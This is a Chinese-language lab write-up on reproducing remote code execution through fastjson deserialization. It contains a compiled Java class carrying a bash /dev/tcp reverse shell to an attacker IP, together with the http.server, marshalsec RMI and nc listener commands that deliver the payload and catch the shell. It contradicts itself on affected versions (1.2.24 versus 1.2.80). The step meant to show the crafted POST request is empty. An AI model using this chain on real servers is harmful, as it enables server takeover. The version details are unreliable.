一、漏洞特征
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
阿里巴巴公司开源Java开发组件Fastjson存在反序列化漏洞(CNVD-2022-40233)。攻击者可利用该漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。
影响版本:fastjson<=1.2.24
该漏洞影响fastjson 1.2.80及之前所有版本
访问http://192.168.232.131:8090/即可看到JSON格式的输出
修改用户信息发现有回显
二、漏洞复现
1.编译java文件
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.245.2/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Ip改成自己攻击机的ip
javac C:\Users\Administrator\Desktop\TouchFile.java
2.开启http服务
把编译好的class文件传到外网系统中,并在class文件所在的目录,Python起一个http服务
python -m http.server 4444
3.启动RMI服务
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.245.2:4444/#TouchFile” 9999
4.nc开启监听
另起一个终端开启监听(nc -lvnp 2333)
5.bp发送构造包
访问192.168.232.131:8090并用bp抓包,构造如下POST请求包
6.反弹shell
注意:如果反弹失败看是不是主机ip搞错了,kali的时间对不对